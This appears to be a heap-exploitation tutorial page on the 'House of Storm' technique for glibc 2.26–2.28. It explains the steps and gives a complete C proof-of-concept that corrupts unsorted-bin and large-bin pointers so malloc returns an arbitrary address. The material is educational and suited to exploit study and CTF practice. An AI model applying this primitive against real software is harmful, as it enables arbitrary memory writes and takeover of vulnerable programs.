Skip to main content

Overview

The House of Storm is an advanced heap exploitation technique that combines manipulation of both unsorted bin and large bin chunks to force malloc to return an arbitrary memory address as a valid chunk. The technique writes a fake size value to a user-chosen address, then leverages this to pull the fake chunk from the unsorted bin.

Glibc Version Compatibility

Compatible with: glibc 2.26 - 2.28 onlyPatched in glibc 2.29+The technique was mitigated by this patch which added stricter integrity checks to unsorted bin operations.
For glibc 2.26-2.28, the tcache must be full for this technique to work.

Requirements

  • UAF on Unsorted Bin Chunk: Ability to write to a freed unsorted bin chunk
  • UAF on Large Bin Chunk: Ability to write to a freed large bin chunk
  • Address Knowledge: Known address of target memory location
  • Heap Leak: Known upper bits of heap addresses
  • Size Constraints: Target location must allow specific size values

What It Achieves

The House of Storm enables:
  1. Arbitrary Chunk Return: Force malloc to return arbitrary memory as a chunk
  2. Write-Where Primitive: Leverage large bin to write size values
  3. Controlled Allocation: Allocate chunks at controlled addresses
  4. Memory Corruption: Gain read/write access to arbitrary memory

Technical Details

Two-Stage Attack

1

Setup Bins

Create one chunk in the unsorted bin (larger) and one in the large bin (smaller). The unsorted bin chunk MUST be larger than the large bin chunk but in the same size range.
2

Calculate Target Size

Use the upper bytes of a heap address as the fake chunk size. The chunk size comes from the naturally occurring bytes at the target location when a heap pointer is placed there.
3

Write Fake Size

Use the large bin’s bk_nextsize write primitive to write a heap pointer at a misaligned offset, creating a valid size value at the target location.
4

Redirect Unsorted Bin

Overwrite the unsorted bin chunk’s bk pointer to point to the target location (which now has a valid size).
5

Trigger Allocation

Allocate a chunk of the exact size that was written to the target. Malloc will process the unsorted bin, find the fake chunk with matching size, and return it.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x60];
char target[0x60]; 

void init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

// Calculate how many bytes to shift for size and offset
int get_shift_amount(char* pointer){
    int shift_amount = 0;
    long long ptr = (long long)pointer;
    
    while(ptr > 0x20){
        ptr = ptr >> 8;
        shift_amount += 1;
    }
    
    return shift_amount - 1;
}

int main(){
    init();

    char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
    int* tcaches[7];

    puts("House of Storm");
    puts("======================================");
    puts("Preparing chunks for the exploit");
    puts("Put one chunk into unsorted bin and the other into the large bin");
    puts("The unsorted bin chunk MUST be larger than the large bin chunk.\n");

    // Create chunks
    unsorted_bin = malloc(0x4e8);  // size 0x4f0
    malloc(0x18); // prevent merging

    puts("Find the proper chunk size to allocate.");
    puts("Must be exactly the size written from above.\n");

    // Calculate allocation size from heap address
    int shift_amount = get_shift_amount(unsorted_bin);
    printf("Shift Amount: %d\n", shift_amount);

    size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
    if(alloc_size < 0x10){
        printf("Chunk Size: 0x%lx\n", alloc_size);
        puts("Chunk size is too small");
        exit(1);
    }
    alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove size bits
    printf("In this case, the chunk size is 0x%lx\n", alloc_size);

    // Validate size bits
    if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
        puts("Allocation size has bit 4 set or mmap/non-main check will fail");
        puts("Please try again!");
        return 1;
    }

    // Fill tcache if needed
    if(alloc_size < 0x410){
        puts("Fill TCache to prevent TCache stashing\n");
        for(int i = 0; i < 7; i++){
            tcaches[i] = malloc(alloc_size);
        }
        for(int i = 0; i < 7; i++){
            free(tcaches[i]);
        }
    }

    large_bin = malloc(0x4d8);  // size 0x4e0
    malloc(0x18); // prevent merging

    // Create bin layout
    free(large_bin);   // put smaller chunk first
    free(unsorted_bin);

    // Move large_bin into large bin
    unsorted_bin = malloc(0x4e8);
    free(unsorted_bin);

    // Target for fake chunk
    fake_chunk = target - 0x10;

    puts("Vulnerability! Overwrite unsorted bin's 'bk' pointer\n");
    
    /* VULNERABILITY #1 */
    ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
    /* VULNERABILITY #1 */

    ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd

    puts("Use large bin WRITE-WHERE primitive to write heap pointer as size\n");
    puts("Vulnerability #2!");
    puts("Overwrite large bin's bk_nextsize for misaligned write\n");
    
    /* VULNERABILITY #2 */
    ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount;
    /* VULNERABILITY #2 */

    puts("Make allocation to trigger the attack\n");
    printf("String before: %s\n", target);
    printf("String pointer: %p\n", target);

    puts("Use calloc to avoid tcache\n");
    
    // Trigger the attack
    ptr = calloc(alloc_size, 1);
    strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
    
    printf("String after: %s\n", target);
    printf("Fake chunk ptr: %p\n", ptr);

    return 0;
}

Walkthrough

The clever part of House of Storm is using heap addresses as size values:
Heap address: 0x0000555555756000

Shift right by N bytes:
0x0000555555756000 >> 40 = 0x5555

Clear flag bits:
0x5555 & 0xFFFFFFFE = 0x5554

Subtract header:
0x5554 - 0x10 = 0x5544

Final allocation size: 0x5544
This size is deterministic based on the heap base address and can be calculated with a heap leak.
The large bin write occurs in the malloc_consolidate process:
victim->fd_nextsize->bk_nextsize = victim->bk_nextsize;
By controlling victim->bk_nextsize, we control WHERE the write occurs. The value written is victim (the unsorted bin chunk address).The misalignment trick:
Target: 0x00007fff8000 (want size here)
Write location: 0x00007fff8000 - 0x18 - shift_amount

When heap pointer 0x555555756000 is written:
...7ffe: 00 00
...7fff: 60 57 55 55  ← Our fake size! (0x555555756000)
...8003: 55 55 00 00
When we allocate size 0x5544, malloc processes the unsorted bin:
  1. Checks first chunk (size 0x4f0) - too small, skip
  2. Follows bk pointer to fake chunk
  3. Reads fake chunk size (0x5544) - MATCHES REQUEST!
  4. Validates size (must be > 0x20 and < system_mem)
  5. Unlinks fake chunk from unsorted bin
  6. Returns fake chunk to user
The validation at arena_for_chunk is bypassed by ensuring:
  • Either mmap bit (0x2) is set in size, OR
  • Non-main arena bit (0x4) is NOT set
For glibc 2.27-2.28 with tcache:If the allocation size falls in tcache range (< 0x410), we must fill tcache first. Otherwise, malloc will use “tcache stashing” which interferes with the attack.Filling tcache:
for(int i = 0; i < 7; i++)
    tcaches[i] = malloc(alloc_size);
for(int i = 0; i < 7; i++)
    free(tcaches[i]);
Now the 8th allocation bypasses tcache and uses bins.

Visual Representation

Bin Setup:
┌─────────────────┐
│  Unsorted Bin   │
│  (size 0x4f0)   │ ──bk──┐
└─────────────────┘       │

┌─────────────────┐   ┌─────────────────┐
│  Large Bin      │   │  Fake Chunk     │
│  (size 0x4e0)   │   │  at target-0x10 │
└─────────────────┘   └─────────────────┘

        └─bk_nextsize─→ target-0x18-shift

Memory at target:
+0x00: [heap ptr from large bin] ← misaligned write
+shift: XX XX XX XX YY YY ← these bytes = size 0x5544
+0x10: [target data]

After allocation:
Malloc sees chunk at target-0x10 with size 0x5544
Returns target as valid chunk

Success Rate and Constraints

Probabilistic Success:
  • 1/2 chance: 4th bit of calculated size must NOT be set
  • 3/4 chance: Either mmap bit set OR non-main arena bit not set
  • Overall: ~37.5% success rate in the general case
In a real exploit, you may need to:
  • Attempt multiple times
  • Choose target location carefully
  • Verify size bits before attempting

CTF Challenges

No specific challenges listed, but applicable to:
  • CTF challenges on glibc 2.26-2.28
  • Scenarios with multiple UAF vulnerabilities
  • Challenges requiring arbitrary read/write primitives

References

  • House of Force - Another arbitrary allocation technique
  • [Large Bin Attack/techniques/bins/large-bin-attack) - The write primitive used here
  • [Unsorted Bin Attack/techniques/bins/unsorted-bin-attack) - The redirection primitive

Author

Written by Maxwell Dulin (Strikeout)

Build docs developers (and LLMs) love